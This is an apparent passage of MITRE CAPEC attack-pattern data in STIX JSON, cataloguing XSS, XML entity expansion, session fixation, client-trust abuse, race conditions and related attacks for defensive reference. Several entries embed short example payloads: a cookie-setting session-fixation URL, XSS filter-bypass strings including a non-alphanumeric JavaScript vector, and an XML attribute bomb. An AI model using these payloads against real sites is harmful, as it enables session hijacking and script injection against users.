],
"Confidentiality": [
"Read Data"
],
"Authorization": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Gain Privileges",
"Bypass Protection Mechanism"
],
"Accountability": [
"Gain Privileges"
],
"Authentication": [
"Gain Privileges"
],
"Non-Repudiation": [
"Gain Privileges"
],
"Access_Control": [
"Bypass Protection Mechanism"
]
},
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"\n <xhtml:p>This example uses client side scripting to set session ID in the victim's browser. The JavaScript code</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">document.cookie=\"sessionid=0123456789\"</xhtml:div>\n <xhtml:p>fixates a falsified session credential into victim's browser, with the help of crafted a URL link.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">http://www.example.com/<script>document.cookie=\"sessionid=0123456789\";</script></xhtml:div>\n <xhtml:p>A similar example uses session ID as an argument of the URL.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">http://www.example.com/index.php/sessionid=0123456789</xhtml:div>\n <xhtml:p>Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.</xhtml:p>\n "
],
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"id": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e",
"name": "XML Entity Expansion",
"description": "An attacker submits an XML document to a target application where the XML document uses nested entity expansion to produce an excessively large output XML. XML allows the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.",
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},
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/770.html",
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},
{
"source_name": "WASC",
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},
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},
{
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},
{
"source_name": "reference_from_CAPEC",
"description": "Elliotte Rusty Harold, Tip: Configure SAX parsers for secure processing, IBM developerWorks, 2005--05---27, IBM",
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},
{
"source_name": "reference_from_CAPEC",
"description": "Bryan Sullivan, XML Denial of Service Attacks and Defenses",
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},
{
"source_name": "reference_from_CAPEC",
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}
],
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"x_capec_typical_severity": "Medium",
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"This type of attack requires that the target must receive XML input but either fail to provide an upper limit for entity expansion or provide a limit that is so large that it does not preclude significant resource consumption."
],
"x_capec_skills_required": {
"Low": "To send recursive entity expansion XML messages."
},
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"None: No specialized resources are required to execute this type of attack."
],
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"Availability": [
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]
},
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],
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"id": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2",
"name": "XSS Targeting Error Pages",
"description": "An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.",
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"modified": "2020-07-30T00:00:00.000Z",
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{
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"url": "https://capec.mitre.org/data/definitions/198.html",
"external_id": "CAPEC-198"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/81.html",
"external_id": "CWE-81"
}
],
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"A third party web server which fails to adequately sanitize messages sent in error pages.",
"The victim must be made to execute a query crafted by the attacker which results in the infected error report."
],
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
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},
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],
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"modified": "2020-07-30T00:00:00.000Z",
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],
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},
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"id": "relationship--d30e714c-2b9c-4a0d-95e1-7bf38e3f7c5e",
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"modified": "2020-07-30T00:00:00.000Z",
"name": "coa-198-2",
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],
"description": "Implementation: The victim should configure the browser to minimize active content from untrusted sources.",
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},
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"relationship_type": "mitigates",
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"id": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33",
"name": "XSS Using Alternate Syntax",
"description": "An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the \"script\" tag using the alternate forms of \"Script\" or \"ScRiPt\" may bypass filters where \"script\" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.",
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"object_marking_refs": [
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],
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"modified": "2020-07-30T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/199.html",
"external_id": "CAPEC-199"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/87.html",
"external_id": "CWE-87"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Cheatsheets, The Open Web Application Security Project (OWASP)",
"url": "https://www.owasp.org/www-community/xss-filter-evasion-cheatsheet",
"external_id": "REF-69"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Testing Guide (v2), The Open Web Application Security Project (OWASP)",
"url": "http://www.owasp.org/index.php/Testing_for_Cross_site_scripting",
"external_id": "REF-70"
},
{
"source_name": "reference_from_CAPEC",
"description": "Non-alphanumeric XSS cheat sheet",
"url": "http://sla.ckers.org/forum/read.php?24,28687",
"external_id": "REF-71"
},
{
"source_name": "reference_from_CAPEC",
"description": "WASC Threat Classification 2.0, 2010, The Web Application Security Consortium (WASC)",
"url": "http://projects.webappsec.org/Cross-Site+Scripting",
"external_id": "REF-72"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Target client software must allow scripting such as JavaScript."
],
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"Low": "To inject the malicious payload in a web page",
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],
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],
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],
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],
"Accountability": [
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],
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"\n <xhtml:p>In this example, the attacker tries to get <script>alert(1)</script> executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\"><scriscriptpt>alert(1)</scscriptript></xhtml:div>\n <xhtml:p>when the applications gets this input string, it will replace all \"script\" (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"result\"><script>alert(1)</script></xhtml:div>\n <xhtml:p>In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., <script>HERE</script>). For the attacker to execute the same payload as in the previous example, they would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"mitigation\">((\\w+)\\s*\\(.*\\)|alert|eval|function|document)</xhtml:div>\n <xhtml:p>and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string \"alert\" would be stripped. An attacker will then create a special payload to bypass this filter:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\">this['al' + 'ert'](1)</xhtml:div>\n <xhtml:p>when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example,</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\">($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)</xhtml:div>\n <xhtml:p>would be executed by the JavaScript engine like alert(1) is.</xhtml:p>\n "
],
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"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1258.html",
"external_id": "CWE-1258"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The target application must store sensitive information in a cache.",
"The cache must be inadequately protected against attacker access."
],
"x_capec_resources_required": [
"The attacker must be able to reach the target application's cache. This may require prior access to the machine on which the target application runs. If the cache is encrypted, the attacker would need sufficient computational resources to crack the encryption. With strong encryption schemes, doing this could be intractable, but weaker encryption schemes could allow an attacker with sufficient resources to read the file."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
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"type": "attack-pattern"
},
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"id": "attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9",
"name": "DEPRECATED: Lifting credential(s)/key material embedded in client distributions (thick or thin)",
"description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-37 : Retrieve Embedded Sensitive Data. Please refer to this other pattern going forward.",
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{
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},
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"id": "attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3",
"name": "Signing Malicious Code",
"description": "The attacker extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the attacker has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the attacker to execute arbitrary code on the victim's computer.",
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"modified": "2020-12-17T00:00:00.000Z",
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{
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"url": "https://capec.mitre.org/data/definitions/206.html",
"external_id": "CAPEC-206"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/732.html",
"external_id": "CWE-732"
},
{
"source_name": "ATTACK",
"description": "Subvert Trust Controls:Code Signing",
"url": "https://attack.mitre.org/wiki/Technique/T1553/002",
"external_id": "T1553.002"
}
],
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"x_capec_prerequisites": [
"The targeted developer must use a signing key to sign code bundles. (Note that not doing this is not a defense - it only means that the attacker does not need to steal the signing key before forging code bundles in the developer's name.)"
],
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"None: No specialized resources are required to execute this type of attack."
],
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"id": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9",
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{
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"url": "https://capec.mitre.org/data/definitions/207.html",
"external_id": "CAPEC-207"
},
{
"source_name": "cwe",
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"external_id": "CWE-602"
},
{
"source_name": "reference_from_CAPEC",
"description": "Wikipedia, The Wikimedia Foundation, Inc",
"url": "http://en.wikipedia.org/wiki/Greasemonkey",
"external_id": "REF-75"
},
{
"source_name": "reference_from_CAPEC",
"description": "Firebug",
"url": "http://getfirebug.com/",
"external_id": "REF-76"
},
{
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"description": "Mozilla Firefox Add-ons",
"url": "https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/",
"external_id": "REF-77"
}
],
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"x_capec_typical_severity": "High",
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"The targeted server must assume the client performs important actions to protect the server or the server functionality. For example, the server may assume the client filters outbound traffic or that the client performs all price calculations correctly. Moreover, the server must fail to detect when these assumptions are violated by a client."
],
"x_capec_skills_required": {
"High": "To reverse engineer the client-side code to disable/remove the functionality on the client that the server relies on.",
"Low": "The attacker installs a web tool that allows scripts or the DOM model of web-based applications to be modified before they are executed in a browser. GreaseMonkey and Firebug are two examples of such tools."
},
"x_capec_resources_required": [
"The attacker must have access to a client and be able to modify the client behavior, often through reverse engineering. If the server is assuming specific client functionality, this usually means the server only recognizes a specific client application, rather than a broad class of client applications. Reverse engineering tools would likely be necessary."
],
"x_capec_consequences": {
"Confidentiality": [
"Other (Information Leakage)",
"Read Data"
],
"Integrity": [
"Modify Data"
],
"Accountability": [
"Gain Privileges"
],
"Authentication": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges",
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],
"Non-Repudiation": [
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],
"Access_Control": [
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"Attacker reverse engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary.",
"Attacker uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the Attacker directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).",
"Attacker reverse-engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary."
],
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"x_capec_version": "3.4",
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"id": "attack-pattern--014e5fc2-7564-4775-94aa-220601522b05",
"name": "Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements",
"description": "An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities.",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/208.html",
"external_id": "CAPEC-208"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/602.html",
"external_id": "CWE-602"
}
],
"x_capec_typical_severity": "Medium",
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"The targeted server must rely on the client to correctly perform monetary calculations and must fail to detect errors in these calculations."
],
"x_capec_resources_required": [
"The attacker must have access to the client for the targeted service (this step is trivial for most web-based services). The attacker must also be able to reverse engineer the client in order to locate and modify the client's purse logic. Reverse engineering tools would be necessary for this."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
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"id": "attack-pattern--b27e3b46-2838-4339-a570-006474c8c402",
"name": "XSS Using MIME Type Mismatch",
"description": "An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.",
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"modified": "2020-12-17T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/209.html",
"external_id": "CAPEC-209"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/79.html",
"external_id": "CWE-79"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/20.html",
"external_id": "CWE-20"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/646.html",
"external_id": "CWE-646"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Testing Guide (v4), The Open Web Application Security Project (OWASP)",
"url": "http://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)",
"external_id": "REF-78"
}
],
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"The victim must follow a crafted link that references a scripting file that is mis-typed as a non-executable file.",
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],
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"The adversary must have the ability to source the file of the incorrect MIME type containing a script."
],
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"For example, the MIME type text/plain may be used where the actual content is text/javascript or text/html. Since text does not contain scripting instructions, the stated MIME type would indicate that filtering is unnecessary. However, if the target application subsequently determines the file's real type and invokes the appropriate interpreter, scripted content could be invoked.",
"In another example, img tags in HTML content could reference a renderable type file instead of an expected image file. The file extension and MIME type can describe an image file, but the file content can be text/javascript or text/html resulting in script execution. If the browser assumes all references in img tags are images, and therefore do not need to be filtered for scripts, this would bypass content filters."
],
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"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"id": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228",
"name": "Exploitation of Trusted Identifiers",
"description": "\n <xhtml:p>An adversary guesses, obtains, or \"rides\" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted identifiers typically result in the adversary laterally moving within the local network, since users are often allowed to authenticate to systems/applications within the network using the same identifier. This allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.</xhtml:p>\n <xhtml:p>Attacks on trusted identifiers take advantage of the fact that some software accepts user input without verifying its authenticity. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes \"trust\" other systems because they are behind a firewall. Similarly, servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Identifiers may be guessed or obtained due to insufficient randomness, poor protection (passed/stored in the clear), lack of integrity (unsigned), or improper correlation with access control policy enforcement points. Exposed configuration and properties files that contain sensitive data may additionally provide an adversary with the information needed to obtain these identifiers. An adversary may also \"ride\" an identifier via a malicious link, as is the case in Cross Site Request Forgery (CSRF) attacks.</xhtml:p>\n <xhtml:p>Regardless of the attack vector, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.</xhtml:p>\n ",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/21.html",
"external_id": "CAPEC-21"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/290.html",
"external_id": "CWE-290"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/302.html",
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/346.html",
"external_id": "CWE-346"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/539.html",
"external_id": "CWE-539"
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/6.html",
"external_id": "CWE-6"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/384.html",
"external_id": "CWE-384"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/664.html",
"external_id": "CWE-664"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/602.html",
"external_id": "CWE-602"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/642.html",
"external_id": "CWE-642"
},
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"description": "Access Token Manipulation:Token Impersonation/Theft",
"url": "https://attack.mitre.org/wiki/Technique/T1134/001",
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"\n <xhtml:p>Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an adversary to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an adversary to exploit session IDs.</xhtml:p>\n <xhtml:p>A brute force attack involves an adversary repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an adversary can retry several hundred or thousand request with little to no issue on their side.</xhtml:p>\n <xhtml:p>The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The adversary can then use these variables and access the application.</xhtml:p>\n ",
"For example, in a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or the process that wrote the message to the queue is authentic and authorized to do so."
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"Fuzzing tools, which automatically generate and send message variants, are necessary for this attack. The attacker must have sufficient access to send messages to the target. The attacker must also have the ability to observe the target application's log and/or error messages in order to collect information about the target."
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"\n <xhtml:p>In languages that utilize stack traces, revealing them can give adversaries information that allows them to map functions and file locations for an application. The following Java method prints out a stack trace that exposes the application to this attack pattern.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"bad\">public void httpGet(HttpServletRequest request, HttpServletResponse response) {<xhtml:div style=\"margin-left:10px;\">try {<xhtml:div style=\"margin-left:10px;\">processRequest();</xhtml:div>} catch (Exception ex) {<xhtml:div style=\"margin-left:10px;\">ex.printStackTrace(response.getWriter());</xhtml:div>\n <xhtml:div style=\"margin-left:10px;\">return;</xhtml:div>}</xhtml:div>}</xhtml:div>\n <xhtml:p>If this code is running on a server, such as a web application, then the adversary could cause the exception to be printed through fuzzing.</xhtml:p>\n "
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"Using MITM techniques, an attacker launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the attacker to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur."
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},
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"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/345.html",
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}
],
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],
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],
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"id": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f",
"name": "XML Routing Detour Attacks",
"description": "An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.",
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},
{
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},
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},
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}
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],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Survey the target: </b>Using command line or an automated tool, an attacker records all instances of web services to process XML requests.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use automated tool to record all instances to process XML requests or find exposed WSDL.</td></tr><tr><td>Use tools to crawl WSDL</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Identify SOAP messages that have multiple state processing.: </b>Inspect instance to see whether the XML processing has multiple stages or not.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Launch an XML routing detour attack: </b>The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message</td></tr></tbody></table></ol></div>",
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"name": "Exploiting Trust in Client",
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"Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.",
"Many web applications use client side scripting like JavaScript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.",
"Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the message server accepts and acts on."
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"description": "An adversary takes advantage of weaknesses in the protocol by which a client and server are communicating to perform unexpected actions. Communication protocols are necessary to transfer messages between client and server applications. Moreover, different protocols may be used for different types of interactions. For example, an authentication protocol might be used to establish the identities of the server and client while a separate messaging protocol might be used to exchange data. If there is a weakness in a protocol used by the client and server, an attacker might take advantage of this to perform various types of attacks. For example, if the attacker is able to manipulate an authentication protocol, the attacker may be able spoof other clients or servers. If the attacker is able to manipulate a messaging protocol, the may be able to read sensitive information or modify message contents. This attack is often made easier by the fact that many clients and servers support multiple protocols to perform similar roles. For example, a server might support several different authentication protocols in order to support a wide range of clients, including legacy clients. Some of the older protocols may have vulnerabilities that allow an attacker to manipulate client-server interactions.",
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},
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},
{
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"description": "Michal Zalewski, Browser Security Handbook, 2008, Google Inc.",
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},
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}
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],
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],
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],
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],
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"description": "An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.",
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},
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"id": "attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce",
"name": "Session Credential Falsification through Manipulation",
"description": "An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server. For example, a credential in the form of a web cookie might have a field that indicates the access rights of a user. By manually tweaking this cookie, a user might be able to increase their access rights to the server. Alternately an attacker may be able to manipulate an existing credential to appear as a different user. This attack differs from falsification through prediction in that the user bases their modified credentials off existing credentials instead of using patterns detected in prior credentials to create a new credential that is accepted because it fits the pattern. As a result, an attacker may be able to impersonate other users or elevate their permissions to a targeted service.",
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"\n <xhtml:p>In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\"><?xml version=\"1.0\"?><fooaaa=\"\"ZZZ=\"\"...999=\"\"/></xhtml:div>\n <xhtml:p>A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.</xhtml:p>\n ",
"\n <xhtml:p>A YAML bomb leverages references within a YAML file to create exponential growth in memory requirements. By creating a chain of keys whose values are a list of multiple references to the next key in the chain, the amount of memory and processing required to handle the data grows exponentially. This may lead to denial of service or instability resulting from excessive resource consumption.</xhtml:p>\n "
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},
{
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"url": "https://owasp.org/www-community/attacks/Command_Injection"
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"Integrity": [
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]
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"description": "The adversary triggers and exploits a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock conditions can be difficult to detect.",
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{
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"url": "https://capec.mitre.org/data/definitions/25.html",
"external_id": "CAPEC-25"
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{
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"url": "http://cwe.mitre.org/data/definitions/412.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/567.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/662.html",
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},
{
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"url": "http://cwe.mitre.org/data/definitions/667.html",
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/833.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1322.html",
"external_id": "CWE-1322"
},
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"external_id": "REF-1"
},
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"description": "Wikipedia, The Wikimedia Foundation, Inc",
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"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
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"The target host exposes an API to the user."
],
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},
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"description": "An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.",
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},
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],
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},
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"description": "Process Injection",
"url": "https://attack.mitre.org/wiki/Technique/T1055",
"external_id": "T1055"
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"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
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],
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],
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],
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]
},
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"name": "PHP Local File Inclusion",
"description": "The attacker loads and executes an arbitrary local PHP file on a target machine. The attacker could use this to try to load old versions of PHP files that have known vulnerabilities, to load PHP files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.",
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{
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{
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},
{
"source_name": "WASC",
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"url": "http://projects.webappsec.org/SOAP-Array-Abuse",
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},
{
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"description": "Robin Cover, ed., XML and Web Services In The News, XML Daily Newslink",
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"description": "Simple Object Access Protocol (SOAP) 1.1, 2006--11---29, W3C",
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"external_id": "REF-103"
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],
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],
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"description": "mkstemp (IEEE Std 1003.1, 2004 Edition), The Open Group Base Specifications Issue 6",
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},
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"description": "An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed. RFC 793 defines the required behavior of any TCP/IP device in that an incoming connection request begins with a SYN packet, which in turn must be followed by a SYN/ACK packet from the receiving service. For this reason, like TCP Connect scanning, SYN scanning works against any TCP stack. Unlike TCP Connect scanning, it is possible to scan thousands of ports per second using this method. This type of scanning is usually referred to as 'half-open' scanning because it does not complete the three-way handshake. The scanning rate is extremely fast because no time is wasted completing the handshake or tearing down the connection. This technique allows an attacker to scan through stateful firewalls due to the common configuration that TCP SYN segments for a new connection will be allowed for almost any port. TCP SYN scanning can also immediately detect 3 of the 4 important types of port status: open, closed, and filtered.",
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"name": "DEPRECATED: Infrastructure-based footprinting",
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"name": "Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions",
"description": "This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by \"running the race\", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.",
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"external_id": "CWE-367"
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/368.html",
"external_id": "CWE-368"
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"url": "http://cwe.mitre.org/data/definitions/366.html",
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"url": "http://cwe.mitre.org/data/definitions/362.html",
"external_id": "CWE-362"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/662.html",
"external_id": "CWE-662"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/691.html",
"external_id": "CWE-691"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/663.html",
"external_id": "CWE-663"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/665.html",
"external_id": "CWE-665"
},
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"description": "Fortify Software, SAMATE - Software Assurance Metrics And Tool Evaluation, 2006--06---22, National Institute of Standards and Technology (NIST)",
"url": "http://samate.nist.gov/SRD/view_testcase.php?tID=1598",
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],
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},
